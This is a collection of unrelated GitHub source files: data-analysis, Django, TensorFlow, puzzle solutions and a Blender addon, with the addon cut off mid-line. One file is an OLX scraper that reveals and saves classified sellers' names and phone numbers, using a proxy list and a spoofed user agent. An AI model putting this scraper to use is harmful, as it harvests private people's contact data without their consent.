sb.boxplot(x=\"code\", y=\"price\", palette=[\"m\", \"g\"], data=data)\r\n plt.title('Boxplot для разных районов')\r\n plt.show()\r\n\r\ndef graph9(data):\r\n #Цена - площадь кухни\r\n sb.jointplot(x='kitsp', y='price', data=data, kind='scatter', height=10)\r\n plt.show()\r\n\r\ndef graph10(data):\r\n #Цена - расстояние от центра для сортированных квартир по площади\r\n data = data.sort_values('totsp').reset_index()\r\n sb.jointplot(x='dist', y='price', data=data[:500], height = 10)\r\n pylab.text(-430,168, 'Цена - растояние от центра, 0-500',fontsize=30)\r\n sb.jointplot(x='dist', y='price', data=data[500:1000], height = 10)\r\n pylab.text(-480, 250, 'Цена - растояние от центра, 500-1000',fontsize=30)\r\n sb.jointplot(x='dist', y='price', data=data[1000:1500], height = 10)\r\n pylab.text(-480, 250, 'Цена - растояние от центра, 1000-1500',fontsize=30)\r\n sb.jointplot(x='dist', y='price', data=data[1500:], height = 10)\r\n pylab.text(-450, 700, 'Цена - растояние от центра, 1500-2040',fontsize=30)\r\n plt.show()\r\n\r\ndf = pd.read_csv('C:/Users/Владислав/Desktop/Diplom/flats_moscow.csv')\r\n#\r\ndef remove_outlier(df_in, col_name):\r\n q1 = df_in[col_name].quantile(0.25)\r\n q3 = df_in[col_name].quantile(0.75)\r\n iqr = q3 - q1 # Межквартильный размах\r\n fence_low = q1 - 1.5 * iqr\r\n fence_high = q3 + 1.5 * iqr\r\n df_out = df_in.loc[(df_in[col_name] > fence_low) & (df_in[col_name] < fence_high)]\r\n return df_out\r\ncol_names = ['price', 'totsp','livesp', 'kitsp','dist']\r\nfor i in range(len(col_names)):\r\n df = remove_outlier(df, col_names[i])\r\n\r\n\r\n\r\ngraph1(df)\r\ngraph2(df)\r\ngraph3(df)\r\ngraph4(df)\r\ngraph5(df)\r\ngraph6(df)\r\ngraph7(df)\r\ngraph8(df)\r\ngraph9(df)\r\ngraph10(df)\r\n","repo_name":"wlad-0/analysis_Price_of_flats_in_Miscow","sub_path":"Diplom_Desc_Analysis.py","file_name":"Diplom_Desc_Analysis.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"13761460073","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom . import models\n\n\"\"\"\nDjango UserAdmin 을 사용\n\"\"\"\n\n\n@admin.register(models.User)\nclass CustomUserAdmin(UserAdmin):\n \"\"\" Custom User Admin \"\"\"\n fieldsets = UserAdmin.fieldsets + (\n (\n \"Add Profile Content\",\n {\n \"fields\": (\n \"user_image\",\n \"login_method\",\n )\n },\n ),\n )\n\n # ID/ 성/이름/이메일 / 슈퍼유저(관리자)\n list_display = (\n \"username\",\n \"email\",\n \"is_superuser\",\n \"login_method\",\n\n )","repo_name":"JunBaam/-I-want-to-play-soccer","sub_path":"users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25534366129","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport aim_ops as aim\nimport numpy as np\nfrom sklearn import feature_selection as fs\nfrom tensorflow.contrib import signal as contrib_signal\n\ndef main(_):\n with tf.Graph().as_default():\n n_mel_bins = 128\n lower_edge_hertz = 0.0\n upper_edge_hertz = 11025.0\n sample_rate = 22050.0\n \n sfr_length = tf.constant(1024, name=\"sfr_length\")\n sfr_step = tf.constant(512, name=\"sfr_step\")\n \n file_pattern = tf.placeholder(tf.string, shape=(), name=\"file_pattern\")\n fr_length = tf.placeholder(tf.int32, shape=(), name=\"fr_length\")\n fr_step = tf.placeholder(tf.int32, shape=(), name=\"fr_step\")\n attenuation = tf.placeholder(tf.float32, shape=(), name=\"attn\")\n n_mfcc = tf.placeholder(tf.int32, shape=(), name=\"n_mfcc\")\n calculate_mean = tf.placeholder(tf.bool, shape=(), name=\"cal_mean\")\n calculate_variance = tf.placeholder(\n tf.bool, shape=(), name=\"cal_variance\")\n p_deviation = tf.placeholder(tf.float32, shape=(), name=\"p_deviation\")\n \n initializer, fn, dc = aim.read_audio(file_pattern)\n gt = aim.read_ground_truth_labels(fn, fr_length, sample_rate)\n frames = contrib_signal.frame(dc, fr_length, fr_step, name=\"frame_audio\")\n nf = aim.normalize_audio(frames, attenuation)\n features, ids = aim.extract_features(nf,\n sample_rate,\n lower_edge_hertz,\n upper_edge_hertz,\n sfr_length,\n sfr_step,\n n_mel_bins,\n n_mfcc,\n p_deviation)\n rf, rids = aim.reduce_features(\n features, ids, calculate_mean, calculate_variance)\n nf = aim.normalize_features(rf)\n with tf.Session() as sess:\n file_writer = tf.summary.FileWriter('log', sess.graph)\n parameters = {\n file_pattern: \"*.wav\",\n fr_length: 11025,\n fr_step: 11025,\n attenuation: 24.0,\n n_mfcc: 20,\n calculate_mean: True,\n calculate_variance: True,\n p_deviation: 2.0\n }\n sess.run(initializer, parameters)\n while True:\n try:\n rid, f, n, g = sess.run([rids, fn, nf, gt], parameters)\n print(f.decode())\n mi = fs.mutual_info_classif(n, g)\n mi_with_ids = np.transpose(np.concatenate(([rid], [mi]), axis=0))\n print(mi_with_ids)\n except tf.errors.OutOfRangeError:\n break\n\n \nif __name__ == '__main__':\n tf.logging.set_verbosity(tf.logging.INFO)\n tf.app.run(main)","repo_name":"simplelife2010/aim_python","sub_path":"rate_features.py","file_name":"rate_features.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19759659927","text":"from bs4 import BeautifulSoup\nimport requests\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.by import By\n\n\ndriver = webdriver.Chrome()\n\nlist_card_url = []\nPROXY = [\n \"154.83.29.201:999\" # IP:PORT or HOST:PORT\n \"154.83.29.202:999\" # IP:PORT or HOST:PORT\n \"154.83.29.203:999\" # IP:PORT or HOST:PORT\n \"154.83.29.204:999\" # IP:PORT or HOST:PORT\n \"154.83.29.205:999\" # IP:PORT or HOST:PORT\n \"154.83.29.206:999\" # IP:PORT or HOST:PORT\n \"154.83.29.207:999\" # IP:PORT or HOST:PORT\n \"154.83.29.208:999\" # IP:PORT or HOST:PORT\n \"154.83.29.209:999\" # IP:PORT or HOST:PORT\n \"154.83.29.200:999\" # IP:PORT or HOST:PORT\n]\nheaders = {'User-Agent': \"Chrome/ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 OPR/89.0.4447.98\"}\n\npages = 11\nfor count in range(1, pages):\n url = f'https://www.olx.ua/d/uk/dom-i-sad/stroitelstvo-remont/metalloprokat-armatura/odessa/?page={count}'\n\n response = requests.get(url, headers=headers)\n soup = BeautifulSoup(response.text, 'lxml') #parser\n data = soup.find_all('div', class_ = 'css-19ucd76')\n\n for i in data:\n try:\n card_url = i.find('a').get('href')\n card_url = 'https://www.olx.ua' + card_url\n if card_url in list_card_url:\n pass\n else:\n list_card_url.append(card_url)\n except:\n card_url = None\n\n\nhowmanysits = 0\nfor card_url in list_card_url:\n driver.get(card_url)\n time.sleep(75)\n try:\n find_more_element = driver.find_element(By.CSS_SELECTOR, '#root > div.css-50cyfj > div.css-1on7yx1 > div:nth-child(3) > div.css-1vnw4ly > div.css-1p8n2mw')\n action = ActionChains(driver)\n action.move_to_element(find_more_element).perform()\n time.sleep(75)\n except:\n pass\n\n try:\n elements = driver.find_element(By.CSS_SELECTOR, '#root > div.css-50cyfj > div.css-1on7yx1 > div:nth-child(3) > div.css-1vnw4ly > div.css-1p8n2mw > div > div > div.css-1saqqt7 > div > button')\n elements.click()\n time.sleep(75)\n name = driver.find_element(By.CSS_SELECTOR, '#root > div.css-50cyfj > div.css-1on7yx1 > div:nth-child(3) > div.css-1vnw4ly > div.css-1p8n2mw > div > div > div.css-1ucpzm6 > div > div.css-1fp4ipz > h4').text\n phone = driver.find_element(By.CSS_SELECTOR, '#root > div.css-50cyfj > div.css-1on7yx1 > div:nth-child(3) > div.css-1vnw4ly > div.css-1p8n2mw > div > div > div.css-1saqqt7 > div > ul > li > a').text\n\n except:\n phone = None\n if phone == None:\n file = open(r\"C:\\Users\\38099\\Desktop\\ПРОГРАММИРОВАНИЕ\\ПРОЕКТЫ\\Парсинг на пайтоне\\Сайты для ручной проверки.txt\", 'a',encoding='utf=8')\n file.write(card_url)\n file.write('\\n')\n file.close()\n\n file = open(r\"C:\\Users\\38099\\Desktop\\ПРОГРАММИРОВАНИЕ\\ПРОЕКТЫ\\Парсинг на пайтоне\\Результат парсера.txt\", 'a',encoding='utf=8')\n try:\n file.write(name)\n except:\n file.write('None')\n file.write(' - ')\n try:\n file.write(phone)\n except:\n file.write('None')\n file.write(' - ')\n file.write(card_url)\n file.write('\\n')\n file.close()\n howmanysits += 1\n print(howmanysits,'.',name, '-', phone, '-', card_url)\n\n\n\n\n\n\n\n","repo_name":"Delnart666/OLXparcer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"35994331595","text":"import numpy as np\nfrom matplotlib.colors import ListedColormap\nfrom sklearn_som.som import SOM\nimport matplotlib.pyplot as plt\n\n# P3: Self Organizing Map\n\n# Load data\ndataset = np.loadtxt(\"HW4_P1_Iris.csv\", delimiter=\",\", dtype=float)\n\nX = dataset[:, 0:4]\ny = dataset[:, 4]\n\n# Separate features for visualization purposes\nsepalLength = X[:, 0]\nsepalWidth = X[:, 1]\npetalLength = X[:, 2]\npetalWidth = X[:, 3]\n\n# Fit the Self Organizing Map\nsom = SOM(m=3, n=1, dim=4)\nsom.fit(X)\npredictions = som.predict(X)\n\n# Plot Results\nfig, ax = plt.subplots(nrows=2, ncols=2, figsize=(10, 8))\ncolors = ['red', 'green', 'blue']\n\nax[0, 0].scatter(sepalLength, petalLength, c=y, cmap=ListedColormap(colors))\nax[0, 0].title.set_text('Actual Classes')\nax[0, 0].set_xlabel('Sepal Length')\nax[0, 0].set_ylabel('Petal Length')\n\nax[0, 1].scatter(sepalLength, petalLength, c=predictions, cmap=ListedColormap(colors))\nax[0, 1].title.set_text('Predicted Classes')\nax[0, 1].set_xlabel('Sepal Length')\nax[0, 1].set_ylabel('Petal Length')\n\nax[1, 0].scatter(sepalWidth, petalWidth, c=y, cmap=ListedColormap(colors))\nax[1, 0].set_xlabel('Sepal Width')\nax[1, 0].set_ylabel('Petal Width')\n\nax[1, 1].scatter(sepalWidth, petalWidth, c=predictions, cmap=ListedColormap(colors))\nax[1, 1].set_xlabel('Sepal Width')\nax[1, 1].set_ylabel('Petal Width')\n\nplt.show()\n","repo_name":"ngatesh/Machine-Learning","sub_path":"HW5/P3/P3.py","file_name":"P3.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24811711264","text":"# %%\nimport numpy as np\nimport pandas as pd\nfrom aocd.models import Puzzle\n\npuz = Puzzle(year=2022, day=14)\nprint(puz.url)\n\n# %%\npuz.input_data\n# %%\nTEST_DATA_A = \"498,4 -> 498,6 -> 496,6\\n503,4 -> 502,4 -> 502,9 -> 494,9\"\nTEST_RESULT_A = 24\nTEST_DATA_B = None\nTEST_RESULT_B = 93\n\n\ndef format_data(data):\n survey = []\n x0, x1 = 500, 500\n y0, y1 = 0, 0\n for line in data.split(\"\\n\"):\n path = []\n for loc in line.split(\" -> \"):\n x, y = list(map(int, loc.split(\",\")))\n path.append((y, x))\n x0 = min(x0, x)\n x1 = max(x1, x)\n y0 = min(y0, y)\n y1 = max(y1, y)\n survey.append(path)\n return survey, (x0, x1), (y0, y1)\n\n\ndef cartographer(survey, xlims, ylims):\n mapp = np.zeros((ylims[1] + 2, xlims[1] + 500), dtype=bool) # add abyss-space\n for path in survey:\n for id in range(len(path) - 1):\n ya, yb = list(sorted([path[id][0], path[id + 1][0]]))\n xa, xb = list(sorted([path[id][1], path[id + 1][1]]))\n for y in range(ya, yb + 1):\n mapp[y, path[id][1]] = True\n for x in range(xa, xb + 1):\n mapp[path[id][0], x] = True\n return mapp\n\n\ndef print_map(mapp, xlims, ylims):\n for row in mapp[ylims[0] :, xlims[0] - 1 :].astype(int):\n print(\"\".join(map(str, row)))\n\n\ndef sand_action(mapp, sandloc):\n actions = [(1, 0), (1, -1), (1, 1)]\n abyss_i = mapp.shape[0] - 1\n can_move = [True] * 3\n done = False\n while any(can_move) and not done:\n for i, (ai, aj) in enumerate(actions):\n if ~mapp[sandloc[0] + ai, sandloc[1] + aj]:\n sandloc = (sandloc[0] + ai, sandloc[1] + aj)\n if sandloc[0] == abyss_i:\n done = True\n break\n can_move[i] = True\n break\n else:\n can_move[i] = False\n mapp[sandloc[0], sandloc[1]] = True\n return mapp, done\n\n\ndef main1(data=None):\n survey, xlims, ylims = format_data(data)\n mapp = cartographer(survey, xlims, ylims)\n seedloc = (0, 500)\n count = 0\n done = False\n while not done:\n count += 1\n mapp, done = sand_action(mapp, seedloc)\n return count - 1\n\n\ndef main2(data=None):\n survey, xlims, ylims = format_data(data)\n mapp = cartographer(survey, xlims, ylims)\n seedloc = (0, 500)\n count = 0\n while ~mapp[seedloc]:\n count += 1\n mapp, _ = sand_action(mapp, seedloc)\n return count\n\n\nassert main1(TEST_DATA_A) == TEST_RESULT_A\nresa = main1(puz.input_data)\nprint(f\"solution: {resa}\")\npuz.answer_a = resa\n\nassert main2(TEST_DATA_A) == TEST_RESULT_B\nresb = main2(puz.input_data)\nprint(f\"solution: {resb}\")\npuz.answer_b = resb\n# %%\n","repo_name":"drpeterfoster/adventofcode22","sub_path":"day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34353407577","text":"from typing import List\n\nclass MedianOfTwo():\n def getMedianOfSingleList(self, nums: List[int]) -> float:\n middleIndex = int(len(nums)/2)\n if len(nums) % 2 == 0:\n return (nums[middleIndex - 1] + nums[middleIndex]) / 2\n return nums[middleIndex]\n \n def combineLists(self, a: List[int], b: List[int]) -> List[int]:\n combinedNums = []\n while a and b:\n if a[0] < b[0]:\n combinedNums.append(a.pop(0))\n else:\n combinedNums.append(b.pop(0))\n while a:\n combinedNums.append(a.pop(0))\n while b:\n combinedNums.append(b.pop(0))\n return combinedNums\n \n def getMedian(self, nums1: List[int], nums2: List[int]) -> float:\n if not nums1: \n return self.getMedianOfSingleList(nums2)\n if not nums2:\n return self.getMedianOfSingleList(nums1)\n return self.getMedianOfSingleList(self.combineLists(nums1, nums2))\n \n # middleIndex = int((m + n) / 2)\n # while i < m and j < n and nums1[i] < nums2[j] and i + j < middleIndex:\n # i += 1\n # i = min(i, m - 1)\n # while i < m and j < n and nums2[j] < nums1[i] and i + j < middleIndex:\n # j += 1\n # j = min(j, n - 1)\n # #print (nums1,',',nums2,':', i, ' ', nums1[i], ' ', j, ' ', nums2[j])\n # if (m + n) % 2 == 0:\n # return (nums1[i] + nums2[j]) / 2\n # return min(nums1[i], nums2[j])","repo_name":"michaelrfarcasin/MedianOfTwoSortedArrays","sub_path":"MedianOfTwo.py","file_name":"MedianOfTwo.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6786580689","text":"class Solution:\n def subsetsWithDup(self, nums: List[int]) -> List[List[int]]:\n answer = [[]]\n nums.sort()\n set_of_answer = set()\n if not nums: # Nums only contains empty set\n return answer\n for num in nums:\n for i in range(len(answer)):\n if tuple(answer[i] + [num]) not in set_of_answer:\n answer.append(answer[i] + [num])\n set_of_answer.add(tuple(answer[-1]))\n return answer","repo_name":"Broadan26/LeetCodeGrind","sub_path":"subsets-ii/subsets-ii.py","file_name":"subsets-ii.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27876336619","text":"# here I will write codes that will be basically used in entire project\n\n\nimport os \nimport sys\nfrom src.exception import CustomException\nimport dill\n\nimport numpy as np\nimport pandas as pd\nimport pickle\nfrom sklearn.metrics import r2_score\nfrom sklearn.model_selection import GridSearchCV\n\n\ndef save_object(file_path, obj):\n try:\n dir_path = os.path.dirname(file_path)\n\n os.makedirs(dir_path, exist_ok=True)\n\n with open(file_path, \"wb\") as file_obj:\n pickle.dump(obj, file_obj)\n\n except Exception as e:\n raise CustomException(e, sys)\n \n\n\n\ndef evaluate_models(X_train,y_train,X_test,y_test,models,param=None) -> dict:\n\n try:\n report = {}\n\n for i in range(len(list(models))):\n model = list(models.values())[i]\n\n model.fit(X_train,y_train)\n\n y_train_pred = model.predict(X_train)\n\n y_test_pred = model.predict(X_test)\n\n # train_model_score = r2_score(y_pred=y_train_pred,y_true=y_train)\n\n test_model_score = r2_score(y_true=y_test,y_pred=y_test_pred)\n\n report[list(models.keys())[i]] = test_model_score\n\n return report\n except Exception as e:\n raise CustomException(e,sys)\n\n \n\n\ndef load_object(file_path):\n try:\n with open(file_path,mode='rb') as file_obj:\n return dill.load(file_obj)\n except Exception as e:\n raise CustomException(e,sys)","repo_name":"GyanPrakashkushwaha/Modula-Coding","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"20125136775","text":"import pandas as pd\nimport numpy as np\n\n\ndef intersect(list1, list2):\n return list(set(list1) & set(list2))\n\n\ndef roll_average_counter(counter, rolling_days):\n daterange = pd.date_range(min(counter.date), max(counter.date)).rename(\"date\")\n counter = counter.copy()\n counter = (\n counter.groupby(\n intersect(\n [\n \"commodity\",\n \"commodity_name\",\n \"commodity_group\",\n \"commodity_group_name\",\n \"destination_iso2\",\n \"destination_country\",\n \"destination_region\",\n \"currency\",\n \"pricing_scenario\",\n \"pricing_scenario_name\",\n ],\n counter.columns,\n ),\n dropna=False,\n )\n .apply(\n lambda x: x.set_index(\"date\")\n .resample(\"D\")\n .sum(numeric_only=True)\n .reindex(daterange)\n .fillna(0)\n .rolling(rolling_days, min_periods=rolling_days)\n .mean()\n )\n .reset_index()\n .replace({np.nan: None})\n )\n return counter\n","repo_name":"energyandcleanair/fossil_shipment_tracker","sub_path":"dashboard/counter/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"13974478582","text":"import pandas as pd\n\ndf = pd.DataFrame(\n {\n \"ID\": [1000, 1001, 1005, 1337, 1578],\n \"first_name\": [\"Jason\", \"Molly\", \"Tina\", \"Jake\", \"Amy\"],\n \"last_name\": [\"Miller\", \"Jacobson\", \"Ali\", \"Milner\", \"Cooze\"],\n \"age\": [42, 52, 36, 24, 73],\n \"preTestScore\": [4, 24, 31, 2, 3],\n \"postTestScore\": [25, 94, 57, 62, 70],\n }\n)\n\nprint(\"Original DataFrame (df):\\n------------------\")\nprint(df)\n\nid_copy = df[\"ID\"]\nid_view = df.loc[:, \"ID\"]\n\nid_copy[:] = -1\nprint(\"Mutating copy\")\nprint(\"copy:\\n----\")\nprint(id_copy)\nprint(\"view:\\n----\")\nprint(id_view)\nprint(\"df:\\n----\")\nprint(df)\n","repo_name":"SnoopJ/playground","sub_path":"python/pandas_/mutating_a_copy.py","file_name":"mutating_a_copy.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"29778500180","text":"import json\nimport random\nimport mathutils as mu\nfrom .installer import install_modules\n\ntry:\n import bpy\n import numpy as np\n from . import utils\n from . import calc\nexcept ImportError:\n install_modules()\n\n import bpy\n import numpy as np\n from . import utils\n from . import calc\n\nobject_ids_filepath = ''\nid_dict = {}\n\n\nclass NumpyArrayEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return obj.tolist()\n else:\n return super(NumpyArrayEncoder, self).default(obj)\n\n\ndef construct_scene_gt_json(last, file, it, objects, camera):\n data = {}\n data[f'{it}'] = []\n i = 0\n for obj in objects:\n if obj.type == 'MESH' and obj.name in id_dict.values():\n rot_matrix = calc.get_relative_rotation_matrix(obj.rotation_euler, camera.rotation_euler)\n rot_matrix = np.ravel(rot_matrix)\n loc_diff = np.array(obj.location - camera.location)\n\n data[f'{it}'].append({\n 'cam_R_m2c': rot_matrix,\n 'cam_t_m2c': loc_diff,\n 'obj_id': utils.get_key(obj.name)\n })\n i += 1\n data_str = json.dumps(data, cls=NumpyArrayEncoder)[1:-1]\n if not last:\n data_str += ','\n file.write(f'{data_str}\\n')\n\n\ndef construct_scene_camera_json(last, file, it, camera):\n data = {}\n rot_matrix = calc.get_relative_rotation_matrix(mu.Vector([0, 0, 0]), camera.rotation_euler)\n rot_matrix = np.ravel(rot_matrix)\n data[f'{it}'] = {\n 'cam_K': np.ravel(calc.calc_cam_k()),\n 'scale': utils.scale,\n 'cam_R_w2c': rot_matrix,\n 'cam_t_w2c': np.array(camera.location)\n }\n\n data_str = json.dumps(data, cls=NumpyArrayEncoder)[1:-1]\n if not last:\n data_str += ','\n file.write(f'{data_str}\\n')\n\n\ndef construct_id_dictionary():\n global id_dict\n id_dict.clear()\n\n with open(bpy.path.abspath(object_ids_filepath), 'r') as file:\n\n lines = file.readlines()\n\n for line in lines:\n split_line = line.split()\n obj_id = split_line[0]\n name = split_line[1]\n id_dict[int(obj_id)] = name\n\n\ndef construct_light(i, decider):\n cust_props = bpy.context.scene.custom_properties\n\n if cust_props.light_min_intensity == 0.0 and cust_props.light_max_intensity == 0.0:\n utils.light_intensity = 3\n else:\n utils.light_intensity = random.uniform(cust_props.light_min_intensity, cust_props.light_max_intensity)\n\n if decider < 0.5:\n light_data = bpy.data.lights.new(name=f'light_{i + 1}', type='POINT')\n light_data.energy = utils.light_intensity * 10\n light_data.shadow_soft_size = 1\n light_object = bpy.data.objects.new(name=light_data.name, object_data=light_data)\n bpy.context.collection.objects.link(light_object)\n light_object.location = mu.Vector((\n random.uniform(cust_props.light_min_pos_x, cust_props.light_max_pos_x),\n random.uniform(cust_props.light_min_pos_y, cust_props.light_max_pos_y),\n random.uniform(cust_props.light_min_pos_z, cust_props.light_max_pos_z)\n ))\n else:\n light_data = bpy.data.lights.new(name=f'light_{i + 1}', type='SUN')\n shifted_energy = utils.light_intensity\n while shifted_energy > 1:\n shifted_energy /= 10\n light_data.energy = 1.0 + shifted_energy\n light_object = bpy.data.objects.new(name=light_data.name, object_data=light_data)\n bpy.context.collection.objects.link(light_object)\n light_object.location = mu.Vector((\n random.uniform(cust_props.light_min_pos_x, cust_props.light_max_pos_x),\n random.uniform(cust_props.light_min_pos_y, cust_props.light_max_pos_y),\n random.uniform(cust_props.light_min_pos_z, cust_props.light_max_pos_z)\n ))\n light_object.rotation_euler = mu.Vector((\n random.uniform(cust_props.light_min_rot_x, cust_props.light_max_rot_x),\n random.uniform(cust_props.light_min_rot_y, cust_props.light_max_rot_y),\n random.uniform(cust_props.light_min_rot_z, cust_props.light_max_rot_z)\n ))\n\n\ndef construct_lights():\n cust_props = bpy.context.scene.custom_properties\n\n for light in bpy.data.lights:\n bpy.data.lights.remove(light)\n\n if cust_props.point_lights is True and cust_props.sun_lights is True:\n for i in range(0, cust_props.lights_count):\n decider = random.uniform(0, 1)\n construct_light(i, decider)\n\n elif cust_props.point_lights is True and cust_props.sun_lights is not True:\n for i in range(0, cust_props.lights_count):\n construct_light(i, 0)\n\n elif cust_props.point_lights is not True and cust_props.sun_lights is True:\n for i in range(0, cust_props.lights_count):\n construct_light(i, 1)\n\n\n# Separate every object to another collection and layer\ndef construct_object_layers():\n objects = bpy.data.objects\n layers = bpy.context.scene.view_layers\n collections = bpy.data.collections\n\n for col in collections:\n if col.name != 'Collection':\n collections.remove(col)\n\n for lay in layers:\n if lay.name != 'View Layer':\n layers.remove(lay)\n\n for o in objects:\n if o.type == 'MESH':\n if o.name in id_dict.values():\n if collections.find(o.name) == -1:\n col = collections.new(o.name)\n bpy.context.scene.collection.children.link(col)\n\n for col in collections:\n for o in objects:\n if o.name == col.name:\n if col.objects.find(o.name) == -1:\n col.objects.link(o)\n else:\n if o in col.objects.items():\n col.objects.unlink(o)\n\n for o in objects:\n if o.type == 'MESH':\n if o.name in id_dict.values():\n if layers.find(o.name) == -1:\n layers.new(o.name)\n\n for o in objects:\n if o.type == 'MESH':\n if o.name in id_dict.values():\n for col in collections:\n if o.name != col.name:\n layers[o.name].layer_collection.children[o.name].exclude = True\n\n for o in objects:\n if o.type == 'MESH':\n if o.name in id_dict.values():\n for col in collections:\n if o.name != col.name:\n layers[o.name].layer_collection.children[col.name].exclude = True\n else:\n layers[o.name].layer_collection.children[col.name].exclude = False\n\n\n# Generate and arrange a node tree with the given settings\ndef construct_node_tree(per_row=4):\n cust_props = bpy.context.scene.custom_properties\n\n # Create nodes and links\n bpy.context.scene.use_nodes = True\n for lay in bpy.context.scene.view_layers:\n lay.use_pass_object_index = True\n lay.cycles.denoising_store_passes = True\n\n bpy.context.scene.node_tree.nodes.clear()\n bpy.context.scene.node_tree.links.clear()\n\n render_layers = []\n id_masks = []\n cut_id_masks = []\n outputs = []\n cut_outputs = []\n\n objects = bpy.data.objects\n\n y = 0\n for i in range(0, len(objects.items())):\n if objects[i].type == 'MESH':\n if objects[i].name in id_dict.values():\n objects[i].pass_index = y + 1\n render_layers.append(bpy.context.scene.node_tree.nodes.new('CompositorNodeRLayers'))\n id_masks.append(bpy.context.scene.node_tree.nodes.new('CompositorNodeIDMask'))\n cut_id_masks.append(bpy.context.scene.node_tree.nodes.new('CompositorNodeIDMask'))\n outputs.append(bpy.context.scene.node_tree.nodes.new('CompositorNodeOutputFile'))\n cut_outputs.append(bpy.context.scene.node_tree.nodes.new('CompositorNodeOutputFile'))\n outputs[y].name = objects[i].name\n y += 1\n\n for i in range(0, len(id_masks)):\n id_masks[i].index = i + 1\n cut_id_masks[i].index = i + 1\n\n for i in range(0, len(outputs)):\n outputs[i].base_path = utils.output_path + 'mask/'\n outputs[i].file_slots[0].path = f'{outputs[i].name}####'\n outputs[i].format.color_mode = 'BW'\n outputs[i].format.file_format = 'PNG'\n outputs[i].format.compression = 100\n cut_outputs[i].base_path = utils.output_path + 'mask_visib/'\n cut_outputs[i].file_slots[0].path = f'{outputs[i].name}####'\n cut_outputs[i].format.color_mode = 'BW'\n cut_outputs[i].format.file_format = 'PNG'\n cut_outputs[i].format.compression = 100\n\n render_layers.append(bpy.context.scene.node_tree.nodes.new('CompositorNodeRLayers'))\n denoise = bpy.context.scene.node_tree.nodes.new('CompositorNodeDenoise')\n compositor = bpy.context.scene.node_tree.nodes.new('CompositorNodeComposite')\n depth_map_range = bpy.context.scene.node_tree.nodes.new('CompositorNodeMapRange')\n depth_map_output = bpy.context.scene.node_tree.nodes.new('CompositorNodeOutputFile')\n\n y = 0\n for i in range(0, len(objects.items())):\n if objects[i].type == 'MESH':\n if objects[i].name in id_dict.values():\n render_layers[y].layer = objects[i].name\n bpy.context.scene.node_tree.links.new(render_layers[y].outputs['IndexOB'], id_masks[y].inputs[0])\n bpy.context.scene.node_tree.links.new(id_masks[y].outputs[0], outputs[y].inputs['Image'])\n bpy.context.scene.node_tree.links.new(render_layers[len(render_layers)-1].outputs['IndexOB'], cut_id_masks[y].inputs[0])\n bpy.context.scene.node_tree.links.new(cut_id_masks[y].outputs[0], cut_outputs[y].inputs['Image'])\n y += 1\n\n bpy.context.scene.node_tree.links.new(render_layers[len(render_layers)-1].outputs['Image'], denoise.inputs['Image'])\n bpy.context.scene.node_tree.links.new(render_layers[len(render_layers)-1].outputs['Denoising Normal'], denoise.inputs['Normal'])\n bpy.context.scene.node_tree.links.new(render_layers[len(render_layers)-1].outputs['Denoising Albedo'], denoise.inputs['Albedo'])\n bpy.context.scene.node_tree.links.new(denoise.outputs['Image'], compositor.inputs['Image'])\n bpy.context.scene.node_tree.links.new(render_layers[len(render_layers)-1].outputs['Depth'], depth_map_range.inputs[0])\n bpy.context.scene.node_tree.links.new(depth_map_range.outputs[0], depth_map_output.inputs['Image'])\n\n render_layers[len(render_layers)-1].location = mu.Vector((-20, 0))\n denoise.location = mu.Vector((260, 160))\n compositor.location = mu.Vector((420, 160))\n\n depth_map_range.inputs[1].default_value = 0\n depth_map_range.inputs[2].default_value = cust_props.depth_max_distance\n depth_map_range.inputs[3].default_value = 0\n depth_map_range.inputs[4].default_value = 1\n depth_map_range.location = mu.Vector((580, 205))\n depth_map_output.format.color_mode = 'BW'\n depth_map_output.format.file_format = 'PNG'\n depth_map_output.format.color_depth = '16'\n depth_map_output.format.compression = 100\n depth_map_output.base_path = utils.output_path + 'depth/'\n depth_map_output.file_slots[0].path = 'Image####'\n depth_map_output.location = mu.Vector((740, 205))\n\n # Arrange nodes\n y = 580\n o = 0\n it = 0\n for i in range(0, len(cut_id_masks)):\n if i == 0:\n cut_id_masks[i].location = mu.Vector((260, 0))\n elif i % per_row == 0:\n it += 1\n o -= o\n else:\n o += 1\n\n if i != 0:\n cut_id_masks[i].location = mu.Vector((260, -(y * it) - (140 * o)))\n\n y = 580\n o = 0\n it = 0\n for i in range(len(cut_outputs)):\n if i == 0:\n cut_outputs[i].location = 